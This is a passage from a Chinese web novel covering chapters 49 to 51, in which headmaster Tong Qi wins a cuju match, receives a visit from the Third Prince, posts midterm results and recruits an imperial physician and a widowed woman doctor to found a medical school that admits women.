就连柏弓良和清虚子也愣在了原地,不确定这一球到底算不算入门。 球被踢得裂开,从柳川怀中滚下,他整个人跪倒在地上,半晌都爬不起来。 操场边缘处等待的杨舟万等人忍不住握紧了拳,眼中含泪,大颗大颗的落下。 大家都清楚,童启其实是没必要如此撕破脸,射出这一脚的。 他作为一个山长,即便再气愤,对待其他书院的士子,也应该脚下留情才对。 可所有人都能看出来,这一脚的力道,带着多大的戾气。 如同给杨舟万报仇,给所有受到委屈的学子们报仇般。 柳川艰难的吐出一口血,唾在草坪之上,难以置信的抬头看向童启。 哨声吹响,比赛彻底结束。 0:3,华夏书院获胜。 百姓们激动声一片,欢呼雀跃,开心不已,学生们则直接脱掉了外衫,振臂疾呼,如同疯了一般,就连顾信之都忍不住松出一口气,叹道,“的确是一场精彩的比赛。” 可随着清虚子结果的宣布,柳川却完全不能接受。 “我不服!他这是以大欺小,事先隐瞒,一个山长,下来和我们学生踢,这比赛绝不能算数!” 歇斯底里的呼喊令所有人侧目。 观众席上,大家交头接耳,对龙胜书院的不屑越发直白起来。 宗山长颇觉丢人,连忙怒斥道,“你不服什么?方才不正是你们邀请童启下场的吗?输了就是输了,不必争执!” 再多说下去,只会让他们东部更加没面子罢了! 可柳川却不愿闭嘴,他嘴角带血,整张脸都红肿一片,眼中尽是血丝,早已陷入了浓浓的偏执之中,定要将童启拉下马才行! “方才是方才,现在是现在!童山长明明一早就知道自己的实力,却不明说,故意等我们邀他下场之后,再戏耍逗弄!这就是耍赖,不是欺负人又是什么?蹴鞠赛本就是学生之间的战争,若是山长们也可以随意介入,那还有公平可言吗?柏弓良柏将军也在场,他若是上,还用的着比么?” 这强盗逻辑,已经令不少人无语起来。 尤其是“以大欺小”那句话,更是令不少妇人笑出声来。 你要不要看看谁大谁小,再说说话啊? 一个十一岁的孩子,欺负你? 定是又开始装了!想要讹人,就像是方才郭胜开故意被罚下场一样…… 童启睨了对方一眼,摇了摇头,并未说话。 身后突然一人朗声开口道,“我倒觉得,这比赛就是比赛,不分年龄身份,赢便是赢。” 众人疑惑的抬头望过去,不知道是何人插话,可前排观众席上的几位来宾,却在看到人之后,齐齐变了脸色。 他……他怎么会在这里? 柏盛青、顾信之、柏弓良等人迅速起身行礼,道。 “三皇子!” “臣/老朽/下官见过三皇子,千岁千岁千千岁!!!” 这称呼一被喊出,所有人均被吓得灵魂出窍一般,只堪堪听到了个头,便急急忙忙跪了下去。 上万人齐齐下跪,那场面,震撼的程度,不亚于多米诺骨牌骤然瘫倒的一瞬间。 就连柳川等人也是一片惨白之色,整个人伏在了地上,浑身颤抖不止。 童启独自站立,转过身望向操场角落里缓缓走出的那个陌生男人。 对方大概二十六七八的模样,肚子微微凸出,剑眉星目,看起来一片风光霁月,仁厚谦爱,说话时,连眉眼都自带着一种温情,礼贤下士一般。 木知府恭敬的弯着腰,伴在对方身后,并几个带刀侍卫,皆是全副武装,一脸警惕。 见到童启站而不跪,一个眼刀便顿时射了过来。 童启整了整衣衫,刚想弯腰,直接被三皇子一双手稳稳托起,道。 “童山长不必多礼,我有幸受到邀请前来观赛,自然言出必随。只可惜半路遇到一点事情,来晚了,今日方才到达,还请不要介怀才是。” “哪里,三皇子愿意拨冗而至,已经是华夏书院的荣耀。” 童启抱拳笑道。 周围听到这话的人纷纷一滞,眼中皆闪过一丝警惕。 而潘阆和清虚子则悄然对视了一眼,忍不住掩下了唇角的了然之色。 “书院需要一颗大树作为背景,即便你不想要依靠任何一方,可也必须要做出选择的模样来,否则,便会成为一片无主之地,任人抢夺。你,护不住的。” 这是潘阆当时决定留下书院后,向童启坦言的第一句话。 也是童启后期认真思考过后,在发出邀请函时,脑海中始终萦绕的建议。 既然孩童抱金过闹市,谁都盯着想啃一口,那不如就主动把金子先塞到整个街里最强大却愚笨的人怀中。 暂时保存。 借着狐假虎威之势,遮掩自我,再慢慢求生。 因此他挑挑拣拣,便格外给京城里也送出了一封。 而选中的,便是三皇子。 当今圣上多疑,尚且没有设立太子一职,目前成年入朝的皇子,只有三位。 大皇子,三皇子以及四皇子。 大皇子性格稳重,不争不抢,最是得胡丞相喜爱支持;四皇子苛刻刁钻,狠辣异常,虽手握蛮子军,可母妃出身自边疆,血脉不纯,向来不得承认。唯有这位三皇子,是如今最受到当今喜爱的,母亲乃当朝贵妃,皇帝的青梅竹马,可因着外戚出身低微,风评不好,且本人也时常脑袋不灵光,而不被文人阶级所喜。 去年黄河决堤,救灾一事,更是犯了个大蠢,明明是皇帝派出去刷功绩,却莫名被围困沧州,丢了个好大的人,连太后都忍不住叹道,“扶不起来”。 童启在递出信的时候,就猜出对方会来。 毕竟他这封信,可以说直接拯救三皇子于水火,不仅替他挽尊了黄河救灾一事,还替他在文人阶级争取到了好感度。 若一旦能拿下,那么以如今华夏书院名声斐然的程度,只会让他的储位之争,更加稳固。 第49章 第49章特招通道 童启抬眸细细打量着三皇子,对方也同样在打量着这所书院。 周遭的一切独特而新鲜,令他十分好奇。 在最初收到华夏书院邀请函的时候,三皇子正在和自己的谋士发愁河南府救灾风评的事。自去年被围困沧州,太后勃然大怒后,宫中不少人便对他的母妃冷嘲热讽起来,连带着父皇也对他失望不已。 不仅如此,朝中的文臣们更是几次三番在暗地里嘲讽他脑子不够用,甚至将他比作那“何不食肉糜”的晋惠帝,百般嫌弃,着实将他气的不行。 即便许翰林连着献上了好几篇才华横溢的赋来替他挽尊,也不足以治愈他受伤的心灵! 老大那边如今有着胡丞相作为靠山,老四那边更是有着铁血的蛮子军作为依靠,而他呢? 除了父皇和母后的爱,什么都没有。 他现在急需人才,急需一个身负盛名的人来替他站队,充分证明自己的实力与贤良。 而童启,便是恰好出现的人选之一。 近些日子,凭借着一文章一诗词,童启及其手下的 华夏书院,可以说是冉冉升起的一颗新星,引起了不少文人集团的注意,就连父皇也屡次三番在殿中赞誉过他的文章与诗名,甚爱之。亲手筹办的蹴鞠赛、河南府救灾,更是进退得宜,有理有据,动员之盛,效果之广,令人叹服。 再加上如今亲眼见到其本人如此年轻,书院内却秩序井然,人才济济,学生们一片蓬勃向上,皆有栋梁之意,便更觉欢喜不已,有了收拢之意。 他抬手令所有人起身,淡淡瞥了一眼跪在地上的柳川,迟疑道。 “你这人,倒是有几分眼熟,好似在哪里见过,是……许翰林的师弟吗?叫做……什么来着?罢了,你既然代表着龙胜书院来此参赛,按理说也应该看顾着点自己书院的名声才是,怎么能闹得如此难看?也不想想今后的同窗和师兄们么?丢人现眼的……” 原本在听到三皇子还记得自己时,柳川心里还有些欣喜,可随着后面紧跟的话语被说出,他瞬间脸色惨白,大脑停止了运行。 什么叫做闹得难看? 什么叫做丢人现眼? 我费尽周折去为难针对童启,不正是为了帮着您把华夏书院给夺下来吗? 尽管……手段是有点难看了点,可…… 他难以置信的抬起头望着对方,整个身子都忍不住颤了颤,本能反驳道。 “我们的确是按照他们所说的规则来的!更何况,比赛本就有输赢,兵者诡道,我们也只是全力以赴罢了……” “还敢胡诌,你是当我们没看到吗?”紧跟在三皇子身后的木奎盛木知府顿时大声骂了起来,“方才你们队里那受伤抬下去的人,分明是自己故意撞伤,却假借被踢伤之名,罚了华夏书院的郭胜开下场,若不是殿下疑惑,亲自派人查验,险些都要被你这等小人给骗了过去!” ——小人。 仅这两个字,便足以让所有文人忙不迭与之割席。 更是彻底绝断了柳川今后所有的仕途与升迁之路。 呵呵,他费尽了这么多绸缪,用尽心思,不惜成为马前卒,只为得到对方的青睐,没料最终却得到了这样的评价。 如同一巴掌狠狠打在脸上般,柳川惨笑一声,整个人瘫倒在地上,顿时失去了所有挣扎的力道。 而宗山长则忙拉着所有龙胜的学生们下跪,道。 “殿下息怒,这乃是柳川个人所为,我们事先并不知情,如今知晓,回去一定会多加管理,再也不让他胡作非为。” 三皇子对这压根不感兴趣,更不知晓竟有人早就暗地里自作主张,替他图谋起华夏书院来,只扭过了头,摆摆手道,“罢了,学生的事情,宗山长又能知道多少呢?只是没想到堂堂东部龙胜书院,实际上竟然会是这样的内里,着实令我有些惊讶。看来许翰林倒是个个例,歹竹出好笋,也是难为他了……” 轻飘飘的一句话,直接否定了龙胜书院数十年的辛苦,险些让宗广济现场吐血,也令龙胜书院的风评,猛地下降了几个点。 他咬咬牙,将脑袋压低了,不敢反驳,只能称是。 有着皇子骤然莅临,在座所有百姓皆忍不住拘谨起来。 “你们继续呀,别因为我耽误了比赛,胜负已分,是不是也该进入颁奖的环节了?” 三皇子没有任何见外的意思,一双眼睛滴溜溜看向四周,仿佛真的只是来玩的一般,好奇打量着,见到汪启元和吴韧,还笑着冲他们点了点头。 几个人连忙弯腰行礼,示意不敢。 童启乐于给对方面子,笑着抬手道,“既如此,若三皇子不嫌弃,此次的胜负便由您亲自颁布吧……” 他将准备好的奖品给抬了上来,除了一早就承诺好的学院专属徽章及琉璃套装之外,还有着三十两银子。 如今琉璃在京都大火,早已不是什么稀罕物,倒是这徽章令三皇子颇感兴趣,拿在手里好生把玩了一番,这才一一佩戴给其他人。 等候在一旁的二队队员们个个涨红着脸,激动不已。 连带着其他华夏书院的学生们也纷纷扬起了脑袋,与有荣焉。 这可是皇子啊! 竟然不远万里来给他们颁奖!简直是能够记录在族谱之上的荣耀! 剩下的观众选手们也皆艳羡起来,暗恨自己不够努力,不然站在那颁奖台上的,便是自己了。 伴随着蹴鞠大赛的匆匆结束,三皇子驾临华夏书院并亲自赞赏的事情瞬间传遍了整个河南府,童启及其书院声名大噪,再次狠狠提升一个台阶的同时,其背后支撑者乃是三皇子的传闻,也不由进入到每一个权贵者的耳中。 许多大儒、世家们听到后,都不觉皱起眉头来,而顾信之则是小心翼翼上了马车,混在人群中跟着百姓们一起离开,连邢御医都忘了等待。 他擦了擦脑门上的汗水,坐在车厢内,心有余悸。 谁能想到自己即将任职的地方竟然还藏着这么一尊大佛? 幸好他还没来得及对华夏书院出手,不然回头若是被三皇子知道了,岂不是难以交代? 众所周知,顾信之乃是胡丞相一党,他们皆是支持大皇子登位的,最是不得三皇子喜欢,若是被其知道继位的知府乃是他,怕是又会生出不少是非,因此还是能避则避,先不见面的好…… 剩下的事情,等三皇子走了,再徐徐图之也不急。 送走了所有观众,童启这才有时间带着三皇子一行人好好参观起华夏书院来,尤其是教学楼和食堂,更是游览的重中之重! 一起吃了一顿饭,又好好见识了传说中的雷电照亮之神奇,眼见着教学环境如此优异,在职的老师们也各有出身,三皇子十分满意,当即便拍着童启的肩膀承诺道。 “好好好,你们书院的学生我是最放心的,但愿明年的院试、会试,他们能够金榜题名,将来与我在朝堂上相见,不负今日之谊。不过……若是有那不想走科举之途,白白耽误几年的也无妨,尽管来我这里,我这里是最缺才学之人的,安排一两个官职当当,倒也不在话下……” 说着,他的视线不由再次看向了吴韧和汪启元等人。 童启悄无声息的上前挡住两位学生,笑盈盈道,“那是自然,有机会的话,我一定会让学生们去您那里试上一试的。” 能走“高考”,自然没人愿意走特招。 但若是高考走不成,特招不也是一条出路么? 童启可没有那等普通文人面子至上、名誉至上的说法,若真的将来有学生陷入执拗想要当官,又不能参加科举一途的话,这,便是他为学生争取到的最后一层保障与出路。 但……不是现在。 怎么也得等试一试,实在考不上再说吧? 童启遮掩下眼中的算计,直接一个敷衍大法,无限度往后推。 既不应承,也不拒绝。 三皇子单纯,没听出这“有机会”的潜在意思,还以为这便是答应下来了,连忙满意的点点头,连吃带拿了一番,从华夏书院顺走了不少零食后,这才施施然带着人驾车离开。 直至目送着这一行人走远,华夏书院上上下下,这才总算是彻底松了一口气。 日子又重新恢复到了平静的教书、考试、上课之中。 而河南府内,关于蹴鞠赛相关的话题和经典场景则被人们以各种形式大书特书起来,不论是郭胜开、王世昌赛场上的英姿,还是童启那最后一球的狠厉,亦或者是三皇子的出场,都如同话本一般,缓慢发酵传播着。一点点进入到大奉朝各个阶层人士的耳中,沸沸扬扬,童启声望值暴涨的同时 ,与之相对应的,还有之前不顾一切兑换医学类物品留下的后遗症。 他将所有抽到的奖品都拿了出来。 蹴鞠大赛之前,他一共攒了六张中阶、一张高阶抽奖券,以及6000多点的声望值。 Allin之后,全部被消耗一空。 除了成功解锁的医务室,以及其伴随的医学扫描系统之外,还有一把电动剃须刀,以及一套建筑模板外观。 电动剃须刀为什么会出现在这里童启就先不说了,可那套建筑模板外观…… 【叮,恭喜您抽中操场模板外观——古罗马斗兽场】 童启:…… 你不如先看看东西方,再开口说恭喜呢? 这都什么乱七八糟的啊?这种东西为什么也会在抽奖池里?莫不是故意坑他的吧? 童启深呼吸一口气,强行压下到了嘴边的吐槽声。 好吧,就冲着系统关键时刻好歹没有掉链子,这次就先不跟它计较了。 “倒是你说的那个突发任务,不是你发布的吗?究竟是什么情况?什么主系统,竟能优先于你之上,无法拒绝?” 他一把揪出藏在角落里的系统,认真问道。 系统唯唯诺诺的解释,“老实说,我也是第一次遇到这样的事情,通常主系统是不会管我们每个小世界的任务的,这一次事发突然,我也愣住了!可能是有什么原因,我得回去看看,才能够知晓。但这个任务咱们是必须得做的,没法推辞。” 童启垂眸掩下心中的疑虑,道。 “行,可这事你必须给我一个合理的解答,不然下一次我有权拒绝任务!总不能谁突然说一声都能给我发布什么抹杀任务吧?万一那任务不符合我现在的情况呢?打乱了我的步调计划不说,关键是还不能拒绝,若是因此造成了桃李满天下失败的最终结果,那咱们可就得一起完蛋了。” 系统连忙点点头,深觉有理。 第50章 第50章期中考试 蹴鞠大赛结束后,童启并没有给学生们留下多少准备时间,紧接着便开启了华夏书院的考试周。 ——期中。 这件事在蹴鞠大赛前便宣布过,所以骤然开启,倒也没令多少人感觉到意外。 二年级还好,都已经过了府试,即便有什么差距,也早已经接受了。 可一年级和学前班就未免有些紧张起来,尤其是除了入学那一次,其他时候的月考山长都并不在现场,而这一次,出题人正是童启。 那么孰前孰后,谁上谁下,便格外充满了意义。 能被山长记住的,才是最优秀的学生! 这是整个华夏书院的共识。 尤其二队的人刚拿下蹴鞠大赛的冠军,名字和画像都已经被贴在了书院公告栏上,士气正振,若是其他学生们再不扳回一局,露个头,那就真的要被淹没在学生堆里,无人问津了。 因此一两个的,都开始拼命复习起功课来,力求这次一鸣惊人。 童启也不拖延,考试结束后,没两日便全部批改完毕,直接用一张大红纸将所有人的成绩全部张贴在了公告栏上。 从上到下,格外瞩目。 第一名仍旧是吴韧,然后紧接着便是郭胜开、汪启元等人。 常仕进因为手臂受伤,暂时没有参加考试,于是第六名便换成了王世昌。 不少人嫉妒不已,纷纷抱怨道。 “这小子到底哪里窜出来的?长得俊俏,又会踢球,还会考试,还让不让人活了?” “那有什么,你看看第七名和第八名再说吧,怪不得总说寒门出贵子,谁能想到呢,咱们小侯爷手握着童山长的教案集录,都考不过他们啊?也太变态了些。” 谢君仪站在公告栏前,已然懵掉了。 他看了眼第七名的莫小川,再看了眼第八名的戚风言。 即便是小侯爷沈亦,也勉强拿下了第十名的好成绩。 可再瞅瞅自己……第五十名。 多少?第五十名??? 那岂不是比柳三变那群学前班的小子还要低? 好家伙,大家一起踢球,大家一起闹事,合着到最后就他学习成绩吊车尾,你们都是隐藏的大佬是吧? 这简直难以接受! 童启自然也注意到了这个名次,他也没想到堂堂谢家,如此优渥的教学环境,底下的子女们竟然还能考出这个成绩,只差两分,便连刚刚启蒙的童淳都考不过了! 实在是不忍直视。 于是,他大手一挥,直接将人发配到了学前班。 “重新回去打基础吧,顺便练练你那手狗爬字,就这还想当御史?依着你目前这文化水平,圣上刚翻开折子,就能给你原地再扔回去!狠揍五十大板的程度!” 到底谁才是古代人啊,是怎么做到比他这一个现代人毛笔字还写的丑的? 差点他都要怀疑这货是花钱买进来的了。 也就策论、诗词还稍微能看,算是言之有物一些,剩下的,那都是什么和什么啊? 清虚子以袖遮脸,不想多说什么,他当初就说过了,这小子不适合待在华夏书院,是山长非说什么有个性,比较特别,结果呢? 还不是换着花样的丢谢家的人? 谢君仪言辞振振,疯狂反对道,“字写得丑又不代表能力差,你们这是偏见,妥妥的偏见!” 不顾他的反对,学前班喜提一位大高个。 童启站在讲台上跟大家讲解着每个班级未来的教学计划。 “因为每三年举办两次县试与府试,河南府如今的考试时间已经彻底告一段落,再次开启,最早也要等到后年。所以一年级目前的教学计划会暂时放缓一些,大家不必有压力,争取将基础给扎实打牢,之后再一鼓作气,冲刺科举也不迟。” “而二年级便有些赶时间了,明年的乡试和会试都是三年一举办,我们必须把握机会,不然再等的话,就要到四年以后,战线拉的太长,对大家的学习掌握并不太友好,所以今年八月份的院试,我是建议大家都去试一试的,书院也会根据这三次的考试,进行系统的考前冲刺与整体复习,大家不必担心。” “当然,学前班暂时是不参与任何科举活动的,所以你们只需要偶尔跟着一起上上公开课,增加增加阅历即可,其他的,都不必理会。” “对了,隔壁的综合大楼目前正在修中,一个月后可能会开启一个新的特殊学院,同样归属于咱们华夏,但是并不为了科举,而是专门培养一些技术人才,所以这一个月内可能会相继引入一些老师和新同学,有男有女,大家不必太过惊讶。” 有男有女? 这什么意思? 不少学生骤然瞪大了眼睛,还以为自己是听错了什么,尤其是王世昌,更是惊得直接打了个嗝,原地站了起来。 童启瞄了对方一眼,简单解释了一下,听到是医女,并非传统中的正经学术,大家这才恍然松了一口气。 可即便如此,依旧有不少人忍不住皱紧了眉头,小声议论道。 “没听过哪个书院收女人的,这意思,岂不是咱们以后得跟她们平起平坐,一起吃饭,也太怪了些?” “对呀,万一有那不怀好意的,做了什么难堪的事,岂不是令书院也跟着一起蒙羞?” “而且男女七岁不同席,这抬头不见低头见的,不太好吧……” …… 王世昌耳中听着,心里忧着,便忍不住回怼道。 “你管那么多呢?山长愿意如何就如何,说不定大有深意呢?你忘了上次的阶级之争了?怎么,还没 让你们存住记性不成?这新学生还未入校呢,你们倒是先排挤上了。” “谁说排挤了,不过是担忧山长的名誉罢了。” “就是就是。” 几个学生不好意思的反驳两声,想起蹴鞠赛最后一局的惨烈,均不敢再言。 可这事却不是一两个人闭嘴便能够压下的,童启此举,无疑是在挑战不少人传统的是非观念!更是与整个封建礼教作斗争。 刚一公开,便率先得到了自家书院里其他先生们的强烈反对。 尤其是温叶辞和潘阆,更是斩钉截铁的拒绝道。 “不可能!你招医学、技术类的学生特殊培养,我们没问题,可女子,绝不能入校。” “为什么?” 没想到第一步竟然会卡在这里,童启十分意外。 “你还问为什么?咱们书院里,如今所有的学生都尚处于婚期之内,你以为他们家里没有开始筹备亲事,只是因为找不到合适的人选吗?不,他们是等待着科考成名之后,迎娶更门当户对的女子罢了!此时正是少年思春蓬勃旺盛的时期,你贸贸然引入女学生,若是有人被勾的无心读书,那该怎么办?” “书院的风评,学生的清白,倘若有一个出了差错,谁来负责,稍有不慎,那便是万丈深渊啊!” 童启:…… 有那么严重吗?不过一群小屁孩,能有多大的事情啊? 不过想想现代学校里那些早恋的小学生,好像也不是没可能…… 毕竟人的感情是无法管控、没有理智的,而且这里又是古代,对于女子和男子的名节来说,那都是天大的事情。 童启想了想,后退一步道。 “那如果我把综合教学楼单独设立呢?比如将它与其他的书院建筑之间隔上一堵围墙……再错开两方的上下学吃饭时间?” 其他的先生们:…… “您就必须收女学生吗?医士也可以是男的啊。何必执着于女子?” 温叶辞不解问道。 若是其他男人,说出这样的话,也许他们早就多心,以为是存着什么其他隐晦的心思了,可因着是童启,他们无从往别处想,也就更加难以理解这份坚持。 童启默了默,很难解释出自己内心里的想法。 他要如何说呢? 说他曾见到过在男女公平的背景下,有太多优秀的女学生,丝毫不亚于任何男子? 说这世道对女子过于苛刻,就连他这为师者都看不下去,因此便想偷偷的给一些机会? 以免不少人才就此被埋没,毫无希望? 可这些话不可能引起这个时空任何男人的共鸣,因为他们早已经习惯了千百年的男子本位。 真若说出口,只怕在场所有人都会认为是他的脑子有问题。 女人地位如何,关你一个男子什么事? 教谁不是教,何必要白费力气,去空手撼动一个早已经成型的庞大体制呢? 可童启还是想要再坚持一下。 “我眼中并无男女,只有学生。” 他认真说道。 “何况,我觉得医学本就是人的学问,既然有男女两种,那便应该公平的分为男女两个学科,单独去研究才是。王小花适合学医,我也答应了她,可仅仅只有她一个女孩子,我觉得未免过于孤独了些,所以便想提议收下更多的女医师,共同学习。当然,我也期待着看看她们到底能走多远,哪怕今后我们教出来的学生,能在未来多救下一个女子,不也是我们为师者的功德之一吗?” 温叶辞和潘阆听到此,久久难以开口。 这年头,看病难,是公共的认知。 可不只是男人难,女子更难! 尤其是有很多妇人耻于见大夫,一些原本可能容易被治疗的疾病,由此一拖再拖,到最后干脆不治而亡,这种事情也不在少数。 若是有专门的女医师的话…… 的确是能挽救更多女子的性命。 清虚子本就出身道教,对男女之别十分模糊,自古以来,成名的女冠不在少数,唐朝更是有很多公主都曾出家为道过,因此听到这番言论,非常感触,立马便点头表示支持。 “我觉得可以,男子是人,女子便不是人了吗?何况治病救人本就优先于一切,我支持山长所说的医科分类,只要我们能做好两方学生的分离防范,一些事情自然可以完美避免,不能因噎废食,便索性干脆不做了。师者,本就应该敢为天下先才是!” 童启赞赏的看向清虚子,而门外,邢御医在听到这番话后,更是忍不住开口叹道。 “好一个敢为天下先!没想到华夏书院竟然还有着这样的人物,以人为本,难怪能够吸引来三皇子,若是不嫌弃,老朽倒是愿意付出一己之力,助你们一助。” 邢御医一脸骄矜,掀帘而入,童启却十分惊讶,脱口而出道。 “你怎么还在这儿?蹴鞠大赛不都结束好几日了吗?你还没离开?” 银子他分明都派人结过了呀! 邢御医脚步一滞,尴尬的捋了捋胡子,看向一旁的潘阆。 对方连忙伸手介绍道。 “咳咳,人是我留下的,山长,这位便是京城里大名鼎鼎的邢御医,一手治好了贵妃的喘疾以及胡丞相之子口吃的毛病,乃是不少文人权贵的座上宾,著名医家邢家第九代传人,邢玉树。”【你现在阅读的是 】 50-60 第51章 第51章邀请女师 邢玉树? 这名字,童启倒是没怎么听说过。 不过既然是御医,想来才学应该很盛,正好他的医学博士任务还缺着人,也不知符不符合。 不同于以往大儒投奔时,童启激动的模样,他率先打量了一下对方之后,开口问道。 “假设有一患者出现了咳嗽、痰多、胸闷、舌苔白腻、脉滑等症状,你会采用什么样的方剂及配伍,并试说明一下其原理。” 没想到山长的第一反应会是出题试探,在场所有人皆惊讶的偏过了头,看向邢御医的方向。 生怕对方不悦。 邢玉树自然也愣了一下。 这还是他平生第一次摆出御医身份后,依旧有人明晃晃质疑他的资质的。 也是头一回主动说要帮忙,却被如此堤防的。 虽突兀,有些无礼之感,稍显冒犯,可正是这份谨慎,却让他感到莫名的尊重。 人命大过天,教学也是如此。这世道实在是有太多人打着名医的旗号招摇撞骗,只会一些简单的方子或熬两道符水就敢跟人治病! 若未经查证,随便是个人就相信的话,回头误人子弟还是小事,治死了人,出了差错,那才是真正的大事! 邢御医顿了顿,捋着胡子缓缓踱步两下,说道。 “若如此,此患者应该是属于【痰湿蕴肺】之症,乃是因痰湿阻滞肺气,肺失宣降所致,治疗应以燥湿化痰,理气止咳为原则,开以二陈汤合三子养亲汤……” 配伍如下,如何如何。 童启一边听,一边翻看着脑海中的图书馆检阅目录,一一对照着,见其说的基本一致,这才点了点头。 其实不怪他不敢信奉权威,实在是这个时代真的太多医学骗子了。 尤其是这种听起来厉害,可历史上却没有任何记载的,他才越不敢相信。 古代皇宫里的御医到底是个什么样子,大家懂的都懂,一辈子只围着那么几个人,整天调理身体,吃不死就行,积累的案例、遇到的症状尚不及乡间的赤脚大夫,唐太宗时期,甚至还有着“悬丝诊脉”的扯淡之事,他可不敢轻易给学生们试错。 见邢御医答得不错,童启又问了几个罕见的病例,甚至担忧对方只是理论厉害,临床实践不行,于是令其一一给书院里所有的老师们诊了一次脉,与医务室扫描系统给出的答案几乎吻合,这才勉强放心。 “看来邢玉树先生确实厉害,既如此,那么我代表华夏书院,感谢您的加入!具体的待遇之后会有人跟您细说,咱们包吃包住,环境绝对不会亚于其他医馆!您只需要教教课,研究一些想研究的医学课题即可,剩下的,我们皆尊重您自己的意愿。对了,这是书院内藏书阁二楼的令牌,您若是想要翻看一些医书,查阅资料的话,也可以随时进去看……” 医书? 这书院里竟然还收藏着医书? 邢御医的眼睛骤然亮了起来,若说方才 他还只是对这些人传承医学之道的思想感兴趣,那么现在,就是真的单纯为这所书院而感觉到惊喜了! 医者向来属于小道,藏书更是少的可怜,即便是他,不少书籍,也只剩下孤页残本。 从未料到一家普普通通的书院里竟还会有遗存,简直是意外之喜。 且不论之后邢御医真的进入藏书阁后,看着琳琅满目、整整齐齐失传了许久的医学著作,有多么震惊和热泪盈眶,只说现在,光是童启这番态度,就能够让他感觉到,浓浓的决心。 ——对方是真的想要传承医道! 既如此,那女医,看来也并非玩笑话了。 邢玉树心里犹豫了一下,试探着问道,“若山长真的想要收女学徒,我有一人,不知方不方便向您推荐。只是她的身份,可能有些敏感,乃是一名寡妇……” 他脑子里慢慢浮现出一个合适的人选。 清瘦、孤冷、幽丽,却与这俗世,格格不入。 童启眼睛骤然亮起,忙说道。 “哦?身份什么的不重要!只要有才学就行,若是住的不远的话,不妨请来一见!” 他也没想过,这看似最难的任务,竟然会进行的如此顺利,还没等他开始正式招人呢,竟然就快集齐一大半了! 清虚子偷偷瞄了一眼旁边的潘阆,感觉山长这话莫名熟悉。 他忍不住压下心里的吐槽。 感觉自己就职的这所书院画风是越来越奇怪了,就像是收集什么奇葩套餐似的,怎么就没一个正常人出身?动不动就是敏感、不可说。 如今好了,竟然连寡妇都来了! 潘阆和温叶辞本能的觉得不妥,可山长认定了要做的事,且已经后退一步,将综合大楼单独分立,专授医科。 他们再多说什么,未免就显得有些刻薄不近人情,只得暂时作罢- 河南府宜阳县,张家医馆内。 一个穿红带绿的媒婆正死死拉着张小娘子的手不放开,笑得满脸褶皱。 “哎呀,不是我说,整个宜阳县,再没有比刘大官人如此用心的了,为了娶你,他甚至连自己的第十八房小妾都给发卖了出去!说是只要你肯嫁过去呀,便允许你过继一个儿子,承欢膝下,继续经营这张家医馆!” “你也不想看你的亡夫一生心血就这般付之东流吧?好好想想,不是每个人都肯给得出这样的待遇的!过了这村,下次可就遇不到这店了!” 那媒婆边说边甩着自己的帕子,帕子上不知沾了多少香粉,令张小娘子兜头淋了一脸,忍不住侧过头去,不住的打着喷嚏。 门口围聚着不少看热闹的百姓,听到这话都忍不住窃窃私语起来。 “什么迎娶?不就是看重张小娘子一身医术,想要娶回去给他们刘家免费做活吗?人家医馆开的好好的,若不是他趁着张家办丧事,强买强卖,张小娘子又怎么会沦落到如此地步?” “就是,实在是忒不要脸了一些,小心生儿子没□□!” 媒婆耳中听到这话,脸色陡然一变,连忙呸呸呸几声,掐着腰和门口的人对骂起来。 张小娘子这才趁机将自己的手抽出,连忙后退到几步开外的距离,冷冷注视着这一场闹剧,心神黯淡。 这已经是这个月第四次了。 自她守寡之后,便仿佛从原本的大夫身份重新回归到了女人,即便之前顶着同样的脸救了再多的患者,可此时,一切都成了空。 大家在意的不是她的医术,而是有没有男人,似乎没有个男的做靠山,做依靠,便犯了滔天的大罪。 丈夫在时,她是悬壶济世,在世菩萨,而丈夫死了,她便成了抛头露面、不知检点。 这世道仿佛逼着她低头,就像是群狼眼中的一块肉,看不得她独身。 似乎任何男人,只要性别为男,便能成为她的统领者。 她的担保,她医馆的所属以及她的奴隶主。 只要她不答应,那么这份骚扰便会永久进行。 即便她出身医学世家,祖上也曾与邢家齐名,可不是男人,便皆不作数了起来。 张小娘子已快记不清上一个来店里认真看病的患者,到底是何时了。 心灰意冷之间,伴随着吵嚷声,一阵马车清脆的铃声响起,“哒哒哒”的马蹄踏过街道,缓缓驶入了这条巷子。 全胜镖局鲜明的旗帜挂靠在尾部,两个年轻的壮汉并一位妇人小心翼翼的走了下来。 “请问,这里可是张小娘子张白芷的家么?我们是华夏书院的人,奉山长之命特来此邀请您前往书院,就任博士一职的。” 王厨娘恭敬行了一礼,端起架势,整理着自己的衣摆,挺直了腰板说道。 一双眼却忍不住偷偷观察着医馆里那清瘦单薄的女子,——那位很可能是自家女儿未来师父的人。 态度谦恭不已。 张小娘子一愣,半懵半傻的还了一礼,这才接过那盖有华夏书院印记的邀请函,大脑中一片空白。 华夏书院? 那不是河南府最著名的只教授科举人士的地方吗? 什么时候也收女人了? 不对,这并不是让她去读书,竟是……让她去教书? 博士? 我吗? 别说张白芷了,就连周围围观的百姓们都齐齐怔住了,尤其是那刘大官人请来的媒婆,更是想也不想便捂着肚子哈哈大笑起来。 “你这妇人莫要作怪,哪里的书院会请一个女人去教书啊?而且张小娘子只会医,不会文,你们怕不是请错了?” “张家医馆,张白芷,我们没请错。而且谁说我们是请去教文的,童山长说了,我们华夏书院要开设一家医科,专门教授医学之道,分为男女两大类,如今请张小娘子前去,正是负责女子医科的单独教育的!” 见王厨娘信誓旦旦,言辞振振,不少人动摇起来,纷纷交头接耳起来。 大声称奇。 而张小娘子更是借机细细询问了一番,这才明白过来推荐她的,竟然就是年轻时与她讨论过针灸之道的邢家第九代传人,邢玉树。 可对方不是进宫做御医了吗? 怎么回来了? 实际上,以如今华夏书院在整个河南府的声望,这名头一拿出来,那是相当的毋庸置疑。 根本没人会拒绝! 可因着“女子当博士”这事实在是太邪门,太罕见,后期竟然连当地的县令都不由被吸引了过来,拿此邀请函一观。 再三询问。 直至确定了,这才放人离开。 张小娘子其实也有点摸不清,她并不了解华夏书院,更不知晓那所谓的单独医科到底是何意,但宜阳县显而易见的是待不下去了了,倒不如索性出去闯一闯。 这世界之大,她却不信,竟没有她容身的地方!既哪里都一样,那华夏书院有着邢家的人,未尝不是个好地方? 因此只思考了一会儿,她便毫无犹豫的,收拾东西跟着王厨娘等人离开了。 而华夏书院内部,除了建立医科的事,童启也在一一清理着之前系统的奖励,看看还剩下哪些没有用。 当摸出一套完整的活字印刷模板及制作方法时,突然,一个想法骤然活跃在他的脑海之中。 